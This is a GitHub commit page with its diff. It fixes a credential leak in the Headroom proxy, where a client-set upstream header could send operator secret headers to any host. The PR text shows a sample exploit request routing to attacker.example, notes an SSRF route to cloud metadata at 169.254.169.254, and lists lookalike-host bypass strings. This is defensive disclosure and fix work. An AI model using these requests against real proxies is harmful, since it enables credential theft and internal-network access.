Skip to content

Commit 05f5ef4

Browse files
chopratejasTejas Chopra
andauthored
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
1 parent 8156d4d commit 05f5ef4

9 files changed

Lines changed: 511 additions & 10 deletions

File tree

docs/content/docs/configuration.mdx

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -151,6 +151,30 @@ curl http://127.0.0.1:8787/v1/messages \
151151
When `HEADROOM_STRIP_INTERNAL_HEADERS` is `enabled` (the default), the proxy
152152
reads this header for routing and then strips it before forwarding upstream.
153153

154+
#### Configured secret headers are not sent to arbitrary upstreams
155+
156+
`ANTHROPIC_TARGET_API_HEADERS` / `OPENAI_TARGET_API_HEADERS` hold operator
157+
secrets. Because `x-headroom-base-url` is chosen by the *client*, those headers
158+
are only attached when the destination is one the operator designated:
159+
160+
- a host in the configured provider targets (`ANTHROPIC_TARGET_API_URL`,
161+
`OPENAI_TARGET_API_URL`, and the Gemini/Vertex/Cloud Code equivalents), or
162+
- a host listed in `HEADROOM_UPSTREAM_ALLOWED_HOSTS` (comma-separated).
163+
164+
A request to any other upstream is **still proxied** — it just does not carry
165+
your configured headers, and the proxy logs
166+
`upstream_extra_headers_withheld host=<host>` once per host. If you route to a
167+
gateway via this header and need your configured headers to reach it, add its
168+
host to `HEADROOM_UPSTREAM_ALLOWED_HOSTS`:
169+
170+
```bash
171+
export HEADROOM_UPSTREAM_ALLOWED_HOSTS="gateway.internal,api.example-gateway.ai"
172+
```
173+
174+
Matching is on the parsed hostname and is exact — no wildcards — so
175+
`api.anthropic.com.evil.example` and `https://api.anthropic.com@evil.example`
176+
do not match `api.anthropic.com`.
177+
154178
## SmartCrusher Configuration
155179

156180
Fine-tune JSON compression behavior:

docs/content/docs/pipeline-extensions.mdx

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,8 @@ curl http://localhost:8787/v1/chat/completions \
7878

7979
Internal `x-headroom-*` headers (including this one) are stripped before the request is forwarded upstream by default — see `HEADROOM_STRIP_INTERNAL_HEADERS` in [Configuration](/docs/configuration).
8080

81+
Because this header is client-driven, operator-configured secret headers (`OPENAI_TARGET_API_HEADERS` / `ANTHROPIC_TARGET_API_HEADERS`) are only attached when the resolved upstream host is one you designated — a configured provider target, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. Other upstreams are still routed to, just without those headers. See [Configuration](/docs/configuration) for details.
82+
8183
## Per-request model routing with `request.state.headroom_route`
8284

8385
`x-headroom-base-url` is client-driven and points at one OpenAI-compatible base. When the choice of model belongs to an extension instead of the caller — a router that picks a cheaper model per turn, say — publish it on the request state and Headroom serves that one request from a backend that speaks the target provider:

headroom/providers/codex/live.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,9 +128,13 @@ async def handle_codex_live_websocket(
128128
)
129129
forwarded_headers = await apply_copilot_api_auth(forwarded_headers, url=upstream_url)
130130
config = getattr(proxy, "config", None)
131+
# `openai_base_url` comes from the resolved provider target, not from a
132+
# request header, so there is no per-request override to gate on here.
131133
forwarded_headers = merge_extra_headers(
132134
forwarded_headers,
133135
getattr(config, "openai_extra_headers", None),
136+
upstream_url=None,
137+
config=config,
134138
)
135139
if not any(key.lower() == "authorization" for key in forwarded_headers):
136140
if os.environ.get("OPENAI_API_KEY", "").strip():

headroom/proxy/handlers/anthropic.py

Lines changed: 30 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1088,7 +1088,15 @@ async def _finalize_pre_upstream() -> None:
10881088

10891089
_pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
10901090
headers = _strip_internal_headers(headers)
1091-
headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
1091+
# `upstream_base_url` is the per-request `x-headroom-base-url`
1092+
# override when the client sent one. These headers are secrets, so
1093+
# they only travel to a host the operator designated.
1094+
headers = merge_extra_headers(
1095+
headers,
1096+
self.config.anthropic_extra_headers,
1097+
upstream_url=upstream_base_url,
1098+
config=self.config,
1099+
)
10921100
log_outbound_headers(
10931101
forwarder="anthropic_messages",
10941102
stripped_count=_pre_strip_count
@@ -4770,7 +4778,13 @@ async def handle_anthropic_batch_create(
47704778

47714779
_pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
47724780
headers = _strip_internal_headers(headers)
4773-
headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
4781+
# Always the configured Anthropic target; no per-request override.
4782+
headers = merge_extra_headers(
4783+
headers,
4784+
self.config.anthropic_extra_headers,
4785+
upstream_url=None,
4786+
config=self.config,
4787+
)
47744788
log_outbound_headers(
47754789
forwarder="anthropic_batch",
47764790
stripped_count=_pre_strip_count,
@@ -5060,7 +5074,13 @@ async def handle_anthropic_batch_passthrough(
50605074

50615075
_pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
50625076
headers = _strip_internal_headers(headers)
5063-
headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
5077+
# Always the configured Anthropic target; no per-request override.
5078+
headers = merge_extra_headers(
5079+
headers,
5080+
self.config.anthropic_extra_headers,
5081+
upstream_url=None,
5082+
config=self.config,
5083+
)
50645084
log_outbound_headers(
50655085
forwarder="anthropic_batch_passthrough",
50665086
stripped_count=_pre_strip_count,
@@ -5196,7 +5216,13 @@ async def handle_anthropic_batch_results(
51965216

51975217
_pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
51985218
headers = _strip_internal_headers(headers)
5199-
headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
5219+
# Always the configured Anthropic target; no per-request override.
5220+
headers = merge_extra_headers(
5221+
headers,
5222+
self.config.anthropic_extra_headers,
5223+
upstream_url=None,
5224+
config=self.config,
5225+
)
52005226
log_outbound_headers(
52015227
forwarder="anthropic_batch_results",
52025228
stripped_count=_pre_strip_count,

headroom/proxy/handlers/openai.py

Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3125,7 +3125,14 @@ async def handle_openai_chat(
31253125

31263126
_pre_strip_count_chat = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
31273127
headers = _strip_internal_headers(headers)
3128-
headers = merge_extra_headers(headers, self.config.openai_extra_headers)
3128+
# `custom_upstream_base_url` is the per-request `x-headroom-base-url`
3129+
# override resolved above. Secrets only go to designated hosts.
3130+
headers = merge_extra_headers(
3131+
headers,
3132+
self.config.openai_extra_headers,
3133+
upstream_url=custom_upstream_base_url,
3134+
config=self.config,
3135+
)
31293136
log_outbound_headers(
31303137
forwarder="openai_chat_completions",
31313138
stripped_count=_pre_strip_count_chat,
@@ -5117,7 +5124,15 @@ async def handle_openai_responses(
51175124

51185125
_pre_strip_count_resp = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
51195126
headers = _strip_internal_headers(headers)
5120-
headers = merge_extra_headers(headers, self.config.openai_extra_headers)
5127+
# This handler also honors `x-headroom-base-url` (resolved further
5128+
# below); resolve it here too so the secret headers are gated on the
5129+
# real destination rather than merged before it is known.
5130+
headers = merge_extra_headers(
5131+
headers,
5132+
self.config.openai_extra_headers,
5133+
upstream_url=_resolve_openai_upstream_base(request.headers),
5134+
config=self.config,
5135+
)
51215136
# Mirror the WS handler: never forward Codex's client-only lite header
51225137
# upstream. OpenAI rejects newer Codex models when it leaks, and the HTTP
51235138
# POST path (unlike the WS path) otherwise forwards request headers verbatim.
@@ -6603,8 +6618,13 @@ def _schedule_usage_poll() -> None:
66036618
upstream: Any = None
66046619
from headroom.proxy.helpers import merge_extra_headers
66056620

6621+
# The WS upstream is derived from config (chatgpt.com backend or
6622+
# OPENAI_API_URL), never from a request header.
66066623
upstream_headers = merge_extra_headers(
6607-
upstream_headers, self.config.openai_extra_headers
6624+
upstream_headers,
6625+
self.config.openai_extra_headers,
6626+
upstream_url=None,
6627+
config=self.config,
66086628
)
66096629

66106630
for ws_attempt in range(ws_connect_attempts):

headroom/proxy/helpers.py

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1602,15 +1602,40 @@ def _strip_internal_headers(headers: dict[str, str]) -> dict[str, str]:
16021602
return strip_internal_headers(headers, mode=get_strip_internal_headers_mode())
16031603

16041604

1605-
def merge_extra_headers(headers: dict[str, str], extra: dict[str, str] | None) -> dict[str, str]:
1605+
def merge_extra_headers(
1606+
headers: dict[str, str],
1607+
extra: dict[str, str] | None,
1608+
*,
1609+
upstream_url: str | None,
1610+
config: Any = None,
1611+
) -> dict[str, str]:
16061612
"""Merge configured extra headers into ``headers``, overriding same-named keys.
16071613
16081614
``extra`` comes from ``ProxyConfig.anthropic_extra_headers``/``openai_extra_headers``
16091615
(settings-panel/CLI-configured, for gateways that need one extra header alongside the
16101616
client's own auth). Returns ``headers`` unchanged (no copy) when nothing is configured.
1617+
1618+
``upstream_url`` is where these headers are about to be sent, and it is
1619+
**required** rather than optional on purpose. These values are secrets, and
1620+
several handlers accept a per-request upstream from the ``x-headroom-base-url``
1621+
request header; merging before the destination was known is what let a client
1622+
redirect the operator's gateway key to a host of its choosing. Making the
1623+
destination part of the signature means a new forwarder cannot merge a secret
1624+
without saying where it goes, so this cannot silently regress.
1625+
1626+
Pass ``None`` when the caller is going to its configured target with no
1627+
per-request override. Anything else is checked against
1628+
``upstream_trust.is_trusted_upstream``; an undesignated host still gets its
1629+
request proxied, just without these headers.
16111630
"""
16121631
if not extra:
16131632
return headers
1633+
if upstream_url is not None:
1634+
from headroom.proxy.upstream_trust import is_trusted_upstream, warn_untrusted_once
1635+
1636+
if not is_trusted_upstream(upstream_url, config):
1637+
warn_untrusted_once(upstream_url)
1638+
return headers
16141639
# HTTP header names are case-insensitive: drop any existing key that
16151640
# case-insensitively collides with a configured extra so the extra wins.
16161641
# A plain {**headers, **extra} would emit both casings upstream.

headroom/proxy/upstream_trust.py

Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
"""Which upstreams are allowed to receive the operator's *own* credentials.
2+
3+
``x-headroom-base-url`` lets a client pick the upstream for a single request, so
4+
OpenAI-compatible gateways (LiteLLM, Azure, self-hosted vLLM) route through the
5+
dedicated handlers instead of the generic passthrough. That is a deliberate
6+
feature and this module does not take it away.
7+
8+
What it takes away is the credential that used to ride along. ``*_extra_headers``
9+
is operator-configured, marked ``secret=True`` in the settings store, and its own
10+
help text suggests an API key as the example value. It was merged into the
11+
upstream-bound header set *before* the destination was resolved, so a request
12+
carrying ``X-Headroom-Base-Url: https://attacker.example`` reached the attacker's
13+
host with the operator's gateway key attached — one request, no user interaction,
14+
from anything able to talk to the proxy port.
15+
16+
The rule here is the one ``copilot_auth.is_copilot_upstream_url`` already applies
17+
to Headroom's own Copilot token, generalized: **a secret only travels to a host
18+
the operator designated.** Designated means one of
19+
20+
* a host in the resolved provider API targets (``ANTHROPIC_TARGET_API_URL``,
21+
``OPENAI_TARGET_API_URL``, and the Gemini/Vertex/Cloud Code equivalents), or
22+
* a host listed in ``HEADROOM_UPSTREAM_ALLOWED_HOSTS`` (comma-separated).
23+
24+
Anything else still gets proxied — the request is not blocked — it just does not
25+
get the operator's headers.
26+
27+
Matching is on the parsed hostname, never the URL string: comparing whole strings
28+
lets ``https://api.anthropic.com@evil.example`` and ``https://api.anthropic.com.evil.example``
29+
through, and a base URL matches while base+path does not. Exact hostname equality
30+
only; no wildcards, because a suffix rule that forgets the label boundary is the
31+
usual way this class of check fails open.
32+
"""
33+
34+
from __future__ import annotations
35+
36+
import logging
37+
import os
38+
from typing import Any
39+
from urllib.parse import urlparse
40+
41+
logger = logging.getLogger("headroom.proxy")
42+
43+
ALLOWED_HOSTS_ENV = "HEADROOM_UPSTREAM_ALLOWED_HOSTS"
44+
45+
#: Config attributes holding an operator-designated upstream.
46+
_API_URL_ATTRS = (
47+
"anthropic_api_url",
48+
"openai_api_url",
49+
"gemini_api_url",
50+
"cloudcode_api_url",
51+
"vertex_api_url",
52+
"bedrock_api_url",
53+
)
54+
55+
# Hosts that are always operator-designated: they are what the provider targets
56+
# resolve to when nothing is overridden, so omitting them would refuse the
57+
# headers on a completely default install.
58+
_DEFAULT_HOSTS = frozenset(
59+
{
60+
"api.anthropic.com",
61+
"api.openai.com",
62+
}
63+
)
64+
65+
# Warn once per destination rather than once per request; a client looping on a
66+
# rejected host would otherwise flood the log.
67+
_warned_hosts: set[str] = set()
68+
69+
70+
def url_host(value: str | None) -> str | None:
71+
"""Return the lowercase hostname for ``value``, tolerating a missing scheme.
72+
73+
``urlparse("api.example.com/v1").hostname`` is ``None`` — the whole value is
74+
read as a path — so a scheme-less configured URL would otherwise contribute
75+
nothing to the trusted set and silently widen or narrow the check.
76+
"""
77+
78+
if not value:
79+
return None
80+
candidate = value.strip()
81+
if not candidate:
82+
return None
83+
parsed = urlparse(candidate)
84+
if not parsed.hostname and "//" not in candidate:
85+
parsed = urlparse(f"//{candidate}")
86+
host = parsed.hostname
87+
return host.lower() if host else None
88+
89+
90+
def _env_allowed_hosts() -> set[str]:
91+
raw = os.environ.get(ALLOWED_HOSTS_ENV, "")
92+
hosts: set[str] = set()
93+
for entry in raw.split(","):
94+
# Accept a bare host or a full URL, so operators can paste either.
95+
host = url_host(entry) if entry.strip() else None
96+
if host:
97+
hosts.add(host)
98+
return hosts
99+
100+
101+
def trusted_upstream_hosts(config: Any = None) -> frozenset[str]:
102+
"""Hosts permitted to receive operator-configured secret headers."""
103+
104+
hosts = set(_DEFAULT_HOSTS)
105+
for attr in _API_URL_ATTRS:
106+
host = url_host(getattr(config, attr, None))
107+
if host:
108+
hosts.add(host)
109+
hosts |= _env_allowed_hosts()
110+
return frozenset(hosts)
111+
112+
113+
def is_trusted_upstream(url: str | None, config: Any = None) -> bool:
114+
"""True when ``url`` is a destination the operator designated.
115+
116+
``None``/empty means "no per-request override" — the handler is going to the
117+
configured target — so it is trusted.
118+
"""
119+
120+
if not url:
121+
return True
122+
host = url_host(url)
123+
if not host:
124+
# Unparseable destination: refuse rather than guess.
125+
return False
126+
return host in trusted_upstream_hosts(config)
127+
128+
129+
def warn_untrusted_once(url: str | None, *, request_id: str | None = None) -> None:
130+
"""Log the refusal once per host, with the remedy in the message."""
131+
132+
host = url_host(url) or "<unparseable>"
133+
if host in _warned_hosts:
134+
return
135+
_warned_hosts.add(host)
136+
prefix = f"[{request_id}] " if request_id else ""
137+
logger.warning(
138+
"%supstream_extra_headers_withheld host=%s reason=not_operator_designated. "
139+
"The configured extra headers are secret and were NOT sent to this host. "
140+
"If this upstream is legitimate, add it to %s (comma-separated hosts).",
141+
prefix,
142+
host,
143+
ALLOWED_HOSTS_ENV,
144+
)
145+
146+
147+
def reset_warning_state() -> None:
148+
"""Test hook: clear the once-per-host warning memo."""
149+
150+
_warned_hosts.clear()

tests/test_header_isolation.py

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -625,7 +625,9 @@ def test_anthropic_no_extra_headers_configured_is_unchanged() -> None:
625625
def test_merge_extra_headers_overrides_case_insensitively() -> None:
626626
"""A configured extra header wins even when the client used different casing."""
627627
out = merge_extra_headers(
628-
{"Authorization": "client", "keep": "v"}, {"authorization": "gateway"}
628+
{"Authorization": "client", "keep": "v"},
629+
{"authorization": "gateway"},
630+
upstream_url=None,
629631
)
630632
assert out == {"authorization": "gateway", "keep": "v"}
631633
# Exactly one authorization header survives (no duplicate casings upstream).
@@ -635,4 +637,4 @@ def test_merge_extra_headers_overrides_case_insensitively() -> None:
635637
def test_merge_extra_headers_none_returns_same_object() -> None:
636638
"""No configured extras -> caller's dict is returned unchanged (no copy)."""
637639
headers = {"a": "b"}
638-
assert merge_extra_headers(headers, None) is headers
640+
assert merge_extra_headers(headers, None, upstream_url=None) is headers

0 commit comments

Comments
 (0)